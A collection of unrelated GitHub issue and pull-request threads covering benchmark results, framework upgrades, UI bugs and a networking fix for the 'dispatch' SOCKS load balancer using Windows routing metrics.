Use rcs_record_iterator_t::skip(size_t) instead of its template version.

JerryScript-DCO-1.0-Signed-off-by: Roland Takacs<EMAIL_ADDRESS>

@rtakacs please share performance measurements and changes in binary size.

Measurement results:

testing board:  rpi2
master revision: 140982e

Section
Size

.text
190732 -> 191092 (-0,188)

.rodata
8168 -> 8176 (-0,098)

Note: the other sections are not modified.

Benchmark
RSS(+ is better)
Perf(+ is better)

3d-cube.js
132-> 132 (0.000)
3.746-> 3.67 (2.029)

access-binary-trees.js
88-> 88 (0.000)
1.908-> 1.883 (1.310)

access-fannkuch.js
48-> 48 (0.000)
9.8-> 9.607 (1.969)

access-nbody.js
64-> 64 (0.000)
4.541-> 4.414 (2.797)

bitops-3bit-bits-in-byte.js
40-> 40 (0.000)
2.664-> 2.661 (0.113)

bitops-bits-in-byte.js
40-> 40 (0.000)
3.733-> 3.712 (0.563)

bitops-bitwise-and.js
36-> 36 (0.000)
4.287-> 4.229 (1.353)

controlflow-recursive.js
220-> 220 (0.000)
1.719-> 1.726 (-0.407)

crypto-aes.js
160-> 160 (0.000)
6.105-> 6.002 (1.687)

crypto-md5.js
208-> 208 (0.000)
35.731-> 35.51 (0.619)

crypto-sha1.js
144-> 144 (0.000)
15.509->15.268 (1.554)

date-format-tofte.js
112-> 112 (0.000)
4.009-> 4.003 (0.150)

date-format-xparb.js
96-> 96 (0.000)
2.109-> 2.094 (0.711)

math-cordic.js
48-> 48 (0.000)
4.006-> 3.985 (0.524)

math-partial-sums.js
44-> 44 (0.000)
2.332-> 2.304 (1.201)

math-spectral-norm.js
48-> 48 (0.000)
2.254-> 2.242 (0.532)

string-base64.js
204-> 204 (0.000)
---

string-fasta.js
56-> 56 (0.000)
5.864-> 5.778 (1.467)

Geometric mean:
RSS reduction: 0%
Speed up: 1.0721%

Note: all tests ran 10 times. Tests that failed are not shown in the table.

The results look good. Can we get this merged?

@rtakacs, @tilmannOSG, binary size increases 190732 -> 191092 with the change. Are causes of the increase clear? Could you, please, describe them briefly?

@rtakacs Can you please have a closer look?

We can close this PR since #791 does this modification.


Change all target frameworks to net8.0 only.

This looked like a good PR. Did you run into build problems?

No, it worked perfectly. I meant to post that PR to my fork of your repo because I'm only interested in .NET 8. I thought of submitting it to your repo, but I didn't think you'd want to abandon reverse compatibility. I didn't try keeping the previous versions of .NET, but I guess that would work fine. Nice bit of code - thanks for sharing it!

I thought it was a good idea to ditch net7 in favor of net8 so I did so here: https://github.com/NModbus/NModbus.v4/pull/25


(3.0.91) Would like debugger to remember it's last location after resume

@dalehenrich noticed that if he is debugging and repeatedly opening debuggers, when he moves the debugger window, it is annoying if the next debugger opened jumps back after resume.
I'm not sure how dolphin decides to position windows but using a "last position" methodology might work.
If #664 is implemented, that could also help.

Debugger now retains it's last position for the life time of the executable. In 3.0.92pre-release2.

Testing in 3.0.92-2, I thought this wasn't working... but turns out it requires that the debugger exit naturally.  If you close the debugger window using the (Windows) little x icon on the upper right (or the Windows drop-down in the upper left sparkle), the position is not remembered.
However, if you run to completion, the location is remembered.
Reopening this since it does appear to be not entirely fixed, but if remember-on-close is something that can't be handled in dolphin, it's not a big deal for me.

This seems to be working for me now. Capturing the last position a little earlier in 3.0.92.


pREST documentation theme

The theme we use today is not good for software documentation, it was made for package documentation (for this it suits you very well).
What do I say as software documentation?
We need a theme that supports sub-menu and with step-to-use (paging)
my recomendation: https://themes.gohugo.io/theme/hugo-theme-learn
Send feedback pls

looks awesome @avelino

LGTM


setState not working when watched

When setState is used in conjunction with Watch, a rebuild is not triggered by setState.
See this DartPad example
import 'package:flutter/material.dart';
import 'package:signals/signals_flutter.dart';

void main() {
  runApp(const CheckApp());
}

class CheckApp extends StatelessWidget {
  const CheckApp({super.key});

  @override
  Widget build(BuildContext context) {
    return const MaterialApp(
      home: WatchDemo(),
    );
  }
}

class WatchDemo extends StatefulWidget {
  const WatchDemo({super.key});

  @override
  State<WatchDemo> createState() => _WatchDemoState();
}

class _WatchDemoState extends State<WatchDemo> {
  int _count = 0;

  @override
  Widget build(BuildContext context) {
    return Watch(
      (_) => Scaffold(
        body: Center(
          child: ElevatedButton(
            onPressed: () {
              setState(() {
                _count++;
              });
            },
            child: Text('$_count'),
          ),
        ),
      ),
    );
  }
}

Thanks @Solido! Should we update the docs?

In the UI domain there's an implicit rule that you don't mix frameworks,
worst case should be migration of a legacy.
Now anyone who trespass can also find your ticket ;)


Add "Edit breakpoint" to breakpoint view context menu

Testing #39099
Steps to Reproduce:

Create a breakpoint in a node program
In breakpoint view, right click on that breakpoint

Feature Request
Add a context menu item that triggers edit on that breakpoint

@mjbvz and what would that edit action do exactly?
Open the editor, find the breakpoint and trigger the edit experience for the condition? It is too disconnected from the view UX thus I am not a big fan of this

Yes, something like that flow sounds like my expectation. I think this can help with discoverability of conditional breakpoint support

Why the hell not, you can always convince me with discoverability.
Please verfiy this works as expected


feat: 1245 extraction and storage cypress test

Description
Closes #1245
Testing for this step

Changelog
New

extraction and storage cypress test

Changed

cypress.config
A class reg form fixture

Removed

None

How was this tested?

[ ] 🧠 Not needed
[x] 👀 Eyeball
[x] 🤖 Added tests

What gif/image best describes this PR or how it makes you feel?

Thanks for the PR!
Deployments, as required, will be available below:

Frontend
Backend
Oracle-API

Please create PRs in draft mode.  Mark as ready to enable:

Analysis Workflow

After merge, new images are deployed in:

Merge Workflow

Thanks for the PR!
Deployments, as required, will be available below:

Frontend
Backend
Oracle-API

Please create PRs in draft mode.  Mark as ready to enable:

Analysis Workflow

After merge, new images are deployed in:

Merge Workflow

Two and three weeks is a long time to keep PRs open, mostly due to sitting on resources.  Please reopen this and #1227 when needed.


[4.1] Custom query in fetch operation is not working

Bug report
What I did
Model:
public function scopeProperty($query)
{
    return $query->where('type', ModelType::Property);
}

Crud:
protected function fetchStatus()
{
    return $this->fetch([
        'model' => \App\Models\Status::class,
        'searchable_attributes' => ['name'],
        'paginate' => 10,
        'query' => function($model) {
            return $model->where('type', \App\Enums\ModelType::Property);
        }
    ]);
}

What I expected to happen
Filter statuses by local scope
What happened
500 error:
Call to a member function where() on string
What I've already tried to fix it
Implemented custom logic instead of using FetchOperation::fetch()
Backpack, Laravel, PHP, DB version
When I run php artisan backpack:version the output is:

PHP VERSION:
PHP 7.2.19-1+ubuntu16.04.1+deb.sury.org+1 (cli) (built: May 31 2019 11:16:55) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.19-1+ubuntu16.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies
LARAVEL VERSION:
v6.18.14@503d1511d6792b0b8d0a4bfed47f7c2f29634e1c
BACKPACK VERSION:
4.1.4@4303aa07ec0c597abfcfe83896558ca6e98f0d6a

I was pulling lastest changes from master to my fork and found out that it was fixed.
Duplicate of #2817


"Open with" context menu showing multiple MacVim entries

When opening a context menu (right clicking MacVim associated files) and selecting the "Open with" entry, multiple MacVim entries are showing with past version numbers.

This is not MacVim's fault.  Your launchservices database thinks there are multiple versions of MacVim on your machine.  If you have older versions of MacVim.app hanging around, delete them.
Sometimes launchservices gets confused about which apps are present and doesn't "forget" the older versions of MacVim.
If there's only one version of MacVim on your machine, doing
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -kill -r -domain local -domain system -domain user

should fix it.

You are right. Upon checking the /usr/local/Cellar/macvim directory, previous versions of the app still existed. I just assumed Homebrew deleted them upon upgrading. I did a brew cleanup and the problem was solved. Thanks!


Ch heroku production 156084352

What does this PR do?
Creates the production app in heroku
Description of tasks completed

Adds a migrate command in profile for running database migrations.
Installs Django-heroku and updates requirements.txt file.
creates a super user for app

How should this be manually tested

access the production app on https://hc-shleeymypants.herokuapp.com
the admin side can be accessed via admin

Screenshots

Related stories
156084352

Pull Request Test Coverage Report for Build 29

1 of 1 (100.0%) changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 79.709%

Totals

Change from base Build 27:
0.0%

Covered Lines:
1536

Relevant Lines:
1927

💛  - Coveralls


Swift 4.1 compatibility

Hi I have a problem when installing the ZSWTaggedString on Swift 4.1 project.
The version that I am using is 4.0.
- ZSWTaggedString/Core (4.0)
- ZSWTaggedString/Swift (4.0)

The pod is being configured to use Swift 3.3.

Maybe the .swift-version file needs changing from 4.0 to 4.1 for compatibility with Swift 4.1?
Anurag

Done in version 4.1.


export and convert with same filename lead to file overwrite

Description
Hello,
export and convert marimo command can lead to overwrite existing file if (by mistake) user use same file name for input and output.
Best regards
Suggested solution
if input and output file are the same marimo should ask confirmation from user y/N (default N)
if ouput file name is an ever existing file which will be overwriten if should also ask confirmation from user y/N
(we are all humans and make mistakes... if software can help to avoid some that will be great)
Alternative
No response
Additional context
No response

@s-celles this would be nice to have. Any interest in contributing this one?

Sorry @mscolnick I'm very busy this month and won't have the time to tackle this.


Make only lower case names possible for the icon name

React native will you an error when building the app otherwise

Sorry, going to close this out since the Android SDK does support uppercase values. If this becomes more of a problem we could just show a warning when using uppercase in the generators.

You could add text with helpText: 'Only use lower case letters' when creating the Textfield here
Or even add input validation with either jquery or css. This has cost me some time to debug so will try to create a pull request for this tomorrow ;)


Update olly pack filter queries to return results

Dependency
Jira VIRTUOSO-1070
it seems we have placeholder filters for synthetics, applications and alerts, visualizations, but we aren't yet querying graphql  for that metadata given that’s  was was currently being returned from the Graphql API when we implmented the filter.
We've also de-scoped surfacing synthetics, visualizations and nerdpacks from olly packs so the only filter available to us will be alerts
Acceptance Criteria

[ ] wait till the alert data field is added before updating the query, will need to confirm with @jbeveland27
[ ] update query found here to return results in the UI.
[ ] also update the fetch olly pack workflow script
[ ] manually update the dummy data

Adding Alerts to the schema will be done in VIRTUOSO-1070. We haven't spec'ed out the work to add synthetics/nerdpacks/visualizations to the OpenInstallation API yet.

@jbeveland27 nerdpacks / applications is definitely out of scope for our MVP, so you could opt to not add that for Sept. as for viz and synthetics, I'll add an agenda item for next to confirm if this is in / out.

Should we also remove the placeholder tabs in the detail view for synthetics/visualizations? @jpvajda

@aswanson-nr yes, new 🎫 for this as we just learned these are officially out-a-scope for the public catalog  >> https://github.com/newrelic/developer-website/issues/1482


Is it possible to remove large scale of area of the planet and regenarte it ?

some deleted mod corrupt my world file ,  when i close to the redzone  , the game crash to the maintitle and return "missing material ID xxxxx"  error

Sorry I don't know and I haven't played Starbound in many years


Log without timestamp

There are some cases where the device logging may not have access to accurate time or to any time at all, because of this it should be possible to log without time and have the server add the time for the user.

34abbc5f2a2e5cf51491ecd21c9dbd2d486a0447


Fonts are not reloaded

So I am quite frequently adding more icons to my icomoon iconfont. so the font files change quite frequently as well, but due to the service worker and its caching practices the fonts aren't reloaded at all and always served from cache.
Is there any nice way to maybe do some hash checking from time to time and reload "static" files like icon fonts if they have changed?!

I know this is old, but wanted to chime in. In your CSS add a query variable to the fonts ?version=0.2
This is how you should tell the browser / sw to load a fresh version


Can't connect via non-primary network connection (ENETUNREACH)

dispatch list:
C:\windows\system32>dispatch list
Wireless connection
    fe80::28b9:89c2:6feb:bc63 (IPv6)
    <IP_ADDRESS> (IPv4)

3G connection
    <IP_ADDRESS> (IPv4)

Loopback Pseudo-Interface 1
    ::1 (IPv6, internal)
    <IP_ADDRESS> (IPv4, internal)

Ethernet 2
    2001:0:9d38:90d7:2837:3cb1:a29b:e90e (IPv6)
    fe80::2837:3cb1:a29b:e90e (IPv6)

3G (<IP_ADDRESS>) is primary connection in Windows. I thinks so cause whatismyip.com says that I have ip from 3G when I open it in browser without proxy.
Wi-fi (<IP_ADDRESS>) is non-primary connection.
I start proxy on non-primary connection:
C:\windows\system32>dispatch start <IP_ADDRESS>
SOCKS server started on localhost:1080
Dispatching to addresses <IP_ADDRESS>@1

And get errors:
     error [6d525a] serverConnection
           Error: connect ENETUNREACH
               at errnoException (net.js:901:11)
               at Object.afterConnect [as oncomplete] (net.js:892:19)
     error [6d525a] clientConnection
           Error: read ECONNRESET
               at errnoException (net.js:901:11)
               at TCP.onread (net.js:556:19)
     error [7dd649] serverConnection
           Error: connect ENETUNREACH
               at errnoException (net.js:901:11)
               at Object.afterConnect [as oncomplete] (net.js:892:19)
     error [7dd649] clientConnection
           Error: read ECONNRESET
               at errnoException (net.js:901:11)
               at TCP.onread (net.js:556:19)
     error [18590a] serverConnection
           Error: connect ENETUNREACH
               at errnoException (net.js:901:11)
               at Object.afterConnect [as oncomplete] (net.js:892:19)
     error [18590a] clientConnection
           Error: read ECONNRESET
               at errnoException (net.js:901:11)
               at TCP.onread (net.js:556:19)

I see the [same] (http://pastebin.com/KTGasQ8S) errors when I start proxy using both internet connections. There is no errors when I start proxy using primary internet connection.
[Log with debug enabled] (http://pastebin.com/HmsrepH5)
I already tried on 3 computers (2 Win7 and 1 Linux) - on all of them proxy using non-primary connection is not working.
Am I'm missed some setting or something?
BTW, thanks for your program. I've dreamed of such thing for the whole time.

The same problem watching on windows XP.
Solution not found?

MS TCP Loopback interface
<IP_ADDRESS> (IPv4, internal)
C:\Documents and Settings\Alex>dispatch start <IP_ADDRESS> <IP_ADDRESS> -p 1098
SOCKS server started on localhost:1098
Dispatching to addresses <IP_ADDRESS>@1, <IP_ADDRESS>@1
error [802848] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:280
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [802848] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [95a998] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:280
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [95a998] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
^CЗавершить выполнение пакетного файла [Y(да)/N(нет)]? y
C:\Documents and Settings\Alex>dispatch list
Подключение по локальной сети 34
<IP_ADDRESS> (IPv4)
Подключение по локальной сети 27
<IP_ADDRESS> (IPv4)
MTS
<IP_ADDRESS> (IPv4)
MS TCP Loopback interface
<IP_ADDRESS> (IPv4, internal)
C:\Documents and Settings\Alex>dispatch start <IP_ADDRESS> <IP_ADDRESS> -p 1098
SOCKS server started on localhost:1098
Dispatching to addresses <IP_ADDRESS>@1, <IP_ADDRESS>@1
error [0fdb27] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:280
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [0fdb27] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [945206] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [63298c] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:80
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [63298c] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [594f86] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:80
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [594f86] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
^CЗавершить выполнение пакетного файла [Y(да)/N(нет)]? y
C:\Documents and Settings\Alex>dispatch list
Подключение по локальной сети 34
<IP_ADDRESS> (IPv4)
Подключение по локальной сети 27
<IP_ADDRESS> (IPv4)
MTS
<IP_ADDRESS> (IPv4)
MS TCP Loopback interface
<IP_ADDRESS> (IPv4, internal)
C:\Documents and Settings\Alex>dispatch start <IP_ADDRESS> <IP_ADDRESS> -p 1098
SOCKS server started on localhost:1098
Dispatching to addresses <IP_ADDRESS>@1, <IP_ADDRESS>@1
error [7f5f1a] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:80
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [7f5f1a] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [b1b2cd] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:80
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [b1b2cd] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [4e8b9d] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:280
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [4e8b9d] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [91f67b] serverConnection
Error: bind EADDRNOTAVAIL <IP_ADDRESS>
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at connect (net.js:809:18)
at net.js:929:9
at nextTickCallbackWith0Args (node.js:453:9)
at process._tickCallback (node.js:382:13)
error [91f67b] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [59f40c] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:280
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [59f40c] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [df7c23] serverConnection
Error: bind EADDRNOTAVAIL <IP_ADDRESS>
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at connect (net.js:809:18)
at net.js:929:9
at nextTickCallbackWith0Args (node.js:453:9)
at process._tickCallback (node.js:382:13)
error [df7c23] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [9c4bb7] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:280
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [9c4bb7] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [64c470] serverConnection
Error: bind EADDRNOTAVAIL <IP_ADDRESS>
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at connect (net.js:809:18)
at net.js:929:9
at nextTickCallbackWith0Args (node.js:453:9)
at process._tickCallback (node.js:382:13)
error [64c470] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [cda949] serverConnection
Error: bind EADDRNOTAVAIL <IP_ADDRESS>
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at connect (net.js:809:18)
at net.js:929:9
at nextTickCallbackWith0Args (node.js:453:9)
at process._tickCallback (node.js:382:13)
error [cda949] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [249919] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:80
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [249919] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [10ef45] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:80
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [10ef45] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [8efae1] serverConnection
Error: bind EADDRNOTAVAIL <IP_ADDRESS>
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at connect (net.js:809:18)
at net.js:929:9
at nextTickCallbackWith0Args (node.js:453:9)
at process._tickCallback (node.js:382:13)
error [8efae1] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [b07c7e] serverConnection
Error: bind EADDRNOTAVAIL <IP_ADDRESS>
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at connect (net.js:809:18)
at net.js:929:9
at nextTickCallbackWith0Args (node.js:453:9)
at process._tickCallback (node.js:382:13)
error [b07c7e] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [85ecbd] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:80
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [85ecbd] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [958d5e] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:80
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [958d5e] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
^CЗавершить выполнение пакетного файла [Y(да)/N(нет)]? y
C:\Documents and Settings\Alex>dispatch list
Подключение по локальной сети 35
<IP_ADDRESS> (IPv4)
Подключение по локальной сети 27
<IP_ADDRESS> (IPv4)
MS TCP Loopback interface
<IP_ADDRESS> (IPv4, internal)
C:\Documents and Settings\Alex>dispatch list
Подключение по локальной сети 35
<IP_ADDRESS> (IPv4)
Подключение по локальной сети 34
<IP_ADDRESS> (IPv4)
Подключение по локальной сети 27
<IP_ADDRESS> (IPv4)
MS TCP Loopback interface
<IP_ADDRESS> (IPv4, internal)
C:\Documents and Settings\Alex>dispatch start <IP_ADDRESS> <IP_ADDRESS> -p 1098
SOCKS server started on localhost:1098
Dispatching to addresses <IP_ADDRESS>@1, <IP_ADDRESS>@1
error [a731dd] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [067579] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:80
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [067579] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)
error [56031d] serverConnection
Error: connect EHOSTUNREACH <IP_ADDRESS>:80
at Object.exports._errnoException (util.js:856:11)
at exports._exceptionWithHostPort (util.js:879:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1053:14)
error [56031d] clientConnection
Error: read ECONNRESET
at exports._errnoException (util.js:856:11)
at TCP.onread (net.js:546:26)

No, I didn't found an solution.
I've seen some solutions with routes (Windows) or iptables (Linux) but (if I remember correctly) they didn't worked for me. Also they not convenient for 3G/4G modem cause IP address changes every time you reconnect (and these route rules required exact IP address).

I used manually routes and now everything works.
It is necessary to prescribe the route <IP_ADDRESS> <IP_ADDRESS> ... and for each network card to prescribe the same metric.
Or, if you are using a dial-up wan modem then you need to disable the option "use default gateway"

@Stepman123, thanks, part of "use default gateway" was very useful. It working with different metrics.
So, here is complete solution (for the ones who would find this page in Google).
Solution
0) Disable "use default gateway" if using 3G/4G dongle
If you using 3G/4G dongle (modem) then you need to disable option "use default gateway" (that can be done in "Network connections" -> right click on connection -> Properties -> "Networking" tab -> select Version 4 -> click Propetries -> uncheck "use default gateway")
Then you need to add route for non-primary network. In my case I have Wi-Fi (gateway <IP_ADDRESS>) and dongle (gateway "On-link" or <IP_ADDRESS>).
1) Open cmd as Administrator.
2) Run route print -4 to check existing routes. We interested in routes with network address <IP_ADDRESS>.
In my case I have <IP_ADDRESS> route only for Wi-Fi (<IP_ADDRESS>) and there is no <IP_ADDRESS> route for dongle. So I need to add <IP_ADDRESS> route for dongle.
Output of route print -4:
          <IP_ADDRESS>          <IP_ADDRESS>      <IP_ADDRESS>    <IP_ADDRESS>     25
         <IP_ADDRESS>        <IP_ADDRESS>         On-link     <IP_ADDRESS>     26
    <IP_ADDRESS>  <IP_ADDRESS>         On-link     <IP_ADDRESS>    281
   <IP_ADDRESS>  <IP_ADDRESS>         On-link     <IP_ADDRESS>    281
        <IP_ADDRESS>        <IP_ADDRESS>         On-link         <IP_ADDRESS>    306

3) Add route for non-primary network:
route -p add <IP_ADDRESS> mask <IP_ADDRESS> [gateway] metric 50 if [network interface id]
Replace [gateway] with gateway (for example <IP_ADDRESS> in case of Wi-Fi or <IP_ADDRESS> in case of dongle).
Replace [network interface id], you can find it in the begining of output  route print -4.
Example for Wi-Fi:
route -p add <IP_ADDRESS> mask <IP_ADDRESS> <IP_ADDRESS> metric 50 if 2
Example for dongle:
route -p add <IP_ADDRESS> mask <IP_ADDRESS> <IP_ADDRESS> metric 50 if 3

@Morhaus, I think you can close this issue.
Also I think it's good idea to add link to solution in the instruction for Windows users.

If used 2 3G modem, there's no way to add persistent routes.
ID and gateways are constantly changing when you reconnect.
Here is the list of interfaces:
0x1 ........................... MS TCP Loopback interface
0x2 ...00 30 18 15 d1 df ...... VIA PCI 10/100Mb Fast Ethernet
0x60004 ...00 1e 10 1f 3e 8b ...... HUAWEI Mobile Connect - 3G Network Card #5 - Kerio Control
0x280006 ...00 53 45 00 00 00 ...... WAN (PPP/SLIP) Interface
0x2a0005 ...00 53 45 00 00 00 ...... WAN (PPP/SLIP) Interface

If used 2 3G modem, there's no way to add persistent routes.
ID and gateways are everytime changing when you reconnect.
Here is the list of interfaces:
0x1 ........................... MS TCP Loopback interface
0x2 ...00 30 18 15 d1 df ...... VIA PCI 10/100Mb Fast Ethernet
0x60004 ...00 1e 10 1f 3e 8b ...... HUAWEI Mobile Connect - 3G Network Card #5 - Kerio Control
0x280006 ...00 53 45 00 00 00 ...... WAN (PPP/SLIP) Interface
0x2a0005 ...00 53 45 00 00 00 ...... WAN (PPP/SLIP) Interface

found the solution to this (the simple way) for windows 10 (could work on windows 7/8/xp too).
go to "Network connections" -> right click on connection -> Properties -> "Networking" tab -> select Version 4 -> click Propetries -> Advanced -> untick Auto metric -> enter any number below it -> click OK.
See my screenshot if my translation is wrong.
repeat this for all the networks you want to use together, and use the same number under metric for all of them.
Run dispatch, and voila.

found the solution to this (the simple way) for windows 10 (could work on windows 7/8/xp too).
go to "Network connections" -> right click on connection -> Properties -> "Networking" tab -> select Version 4 -> click Propetries -> Advanced -> untick Auto metric -> enter any number below it -> click OK.
See my screenshot if my translation is wrong.
repeat this for all the networks you want to use together, and use the same number under metric for all of them.
Run dispatch, and voila.

Hi and thank you so much for sharing with us the solution!
I hope you liked this tool and the owner will come back for maintenance.


Module 3.1 Assignment

This option is no longer available...

However now found the options elsewhere. Organisation @Bangor-CSEE upgraded.


Update README.md, add link to demo site repository

Link demo-site-repository, which was difficult to find otherwise.

That's better. Thank you!


[Proposal] Ability to run code on load before doing anything else (re: Add user configurable language support)

@tjwebb @sgress454 @loicsaintroch @mikermcneil
This PR keeps the current functionality the same for existing users, but allows them to override the default supported languages in moduleloader
the .sailsrc can now have a languages key added that will replace the default supported languages array.
This brings us at least closer to what we wanted all along, It still does not allow the use of hooks, but its already been discussed why we need a whole rewrite to fix that.
This is a good stop gap I think.
Thoughts?

Super late response from me here @internalfx, apologies.
I think this is a great solution, and the way it is set up is extensible for any future use cases that have specific needs -- e.g. in the future we could, if necessary, allow an asynchronous function to be provided in lieu of the require key, for anyone working with a custom transpiler/precompiler that doesn't support standard node requires for some reason-- or if there are ever issues with global npm deps-- it's always worried me a bit that we rely on a global coffeescript dep. for folks using coffee on the backend.  That said, specifying functions in the .sailsrc file is a no-go currently, since it's parsed as JSON (this is done in dominiktarr's rc), so people who need this would have to specify this info in their app.js file, and they wouldn't be able to start sails with sails lift (which sucks).  Eventually, I'd be 100% down to add support for the .sailsrc file being specified as a normal node module (exporting a dictionary of config), but I doubt dominick would want that in core.  Anyways, in short I don't think we could quite use functions for this yet, so the approach you've suggested looks great.
The only tweak I'd suggest is that, instead of languages, can we think of a different key for this?  It'd be easy, esp. for new users, to confuse this w/ i18n.  What about extensions (for consistency w/ node core)?
Other than that, I think your solution proposed here is great for Sails going forward, and I'd like to try and get it in the 0.12 release if possible.  If you wouldn't mind sending a PR to the 0.12 branch of sails-docs that adds extensions.md to the config reference docs, then we can go ahead and get this in asap.
For the reference docs, please make sure to:

prominently mention that extensions must be included in the .sailsrc file or provided programmatically (and that otherwise it is too late and other hooks have already to load)
clarify that extensions is an array of dictionaries (many of the other top-level config keys are dictionaries)
use a table formatted like this to describe the properties of each extension in the array.

It would be great to have a deeper explanation of coffeescript usage in Sails in our conceptual docs as well, but that is not critical (and it takes more work) so that's definitely not a blocker for getting this merged in asap.  Thanks a lot!

